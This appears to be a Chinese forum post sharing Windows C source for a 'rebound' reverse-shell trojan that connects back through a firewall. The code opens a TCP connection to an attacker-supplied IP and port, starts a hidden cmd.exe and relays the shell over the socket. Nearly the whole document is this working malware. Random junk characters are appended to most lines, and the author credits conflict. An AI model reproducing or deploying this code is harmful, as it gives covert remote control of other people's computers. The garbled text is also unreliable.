这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T*?s@$)m4
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/* ============================== T .REq4<
Rebound port in Windows NT mpgO s
By wind,2006/7 @@@=}!<H=
===============================*/ Z:*@5
#include $=B8qZ+
#include 9i5tVOhE
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#pragma comment(lib,"wsock32.lib") :IMdN}(L
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void OutputShell(); aZ X mlq
SOCKET sClient; ~gE:-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eujK4s
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void main(int argc,char **argv) |F[=b'?
{ eg/<[ A:
WSADATA stWsaData; )? =YT
int nRet; 4jNG^@O
SOCKADDR_IN stSaiClient,stSaiServer; 26 I
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if(argc != 3) )@gZ;`n
{ {sVY`}p|
printf("Useage:\n\rRebound DestIP DestPort\n"); JhHWu<
return; uR;gVO+QC
} ^Hrn ]
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WSAStartup(MAKEWORD(2,2),&stWsaData); aAE>)#f(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pq9|WV#F5/
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stSaiClient.sin_family = AF_INET; bWWXc[O2&(
stSaiClient.sin_port = htons(0); B9R(&<4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $e1=xSQp4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "_|oW n
{ O.G'?m<:#
printf("Bind Socket Failed!\n"); ~y HU^5D
return; wh6yPVVF/
} S! Rc|6y%
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stSaiServer.sin_family = AF_INET; NLS"eDm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #LlUxHv #
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?BA]7M(,4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qfY5Ww$8
{ r3E!dTDWq
printf("Connect Error!"); Vd^g9
return; x8Loyt_C
} Q;11N7+
OutputShell(); YHNR3
} @"a6fn
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void OutputShell() :x.7vZzxs
{ -fhN"B)
char szBuff[1024]; m>USD?i
SECURITY_ATTRIBUTES stSecurityAttributes; [(Xy.L7x
OSVERSIONINFO stOsversionInfo; dr)YzOvba
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S/|,u`g-
STARTUPINFO stStartupInfo; O[tvR:Nh
char *szShell; 1b=lpw1}
PROCESS_INFORMATION stProcessInformation; --;@2:lg{
unsigned long lBytesRead; vEf4HZ&w
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {{V8;y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s { #3r
stSecurityAttributes.lpSecurityDescriptor = 0; ^,m< 9
stSecurityAttributes.bInheritHandle = TRUE; ~wg:!VWA)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B8E'ddUw
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g^*<f8 ~d
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2,ECYie^
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d%l{V6
stStartupInfo.wShowWindow = SW_HIDE; ),%6V5a+E
stStartupInfo.hStdInput = hReadPipe; s4&^D<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 74!oe u.>
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GetVersionEx(&stOsversionInfo); +P.+_7+:
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switch(stOsversionInfo.dwPlatformId) ~?B;!Csk
{ v<Bynd-
case 1: SG6sw]x
szShell = "command.com"; !i=nSqW
break; pp9Zb.D\
default: j xYc2
szShell = "cmd.exe"; =8U&[F
break; apE
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9"g6C<
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send(sClient,szMsg,77,0); /x3/Ubmz~x
while(1) % YOndIS:
{ 3sd"nR?aX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ca+[0w@S
if(lBytesRead) S_~z-`;h!
{ 2t $ j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2h?uNW(0Q
send(sClient,szBuff,lBytesRead,0); ou
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} |!y A@y?
else ZJlEKib%2
{ kI%%i>Y}
lBytesRead=recv(sClient,szBuff,1024,0); EI\9_}@,
if(lBytesRead<=0) break; GguFo+YeZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MxBTX4ES
} o/ui)U_
} $0arz{Oh
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return; NV#FvM/#"
}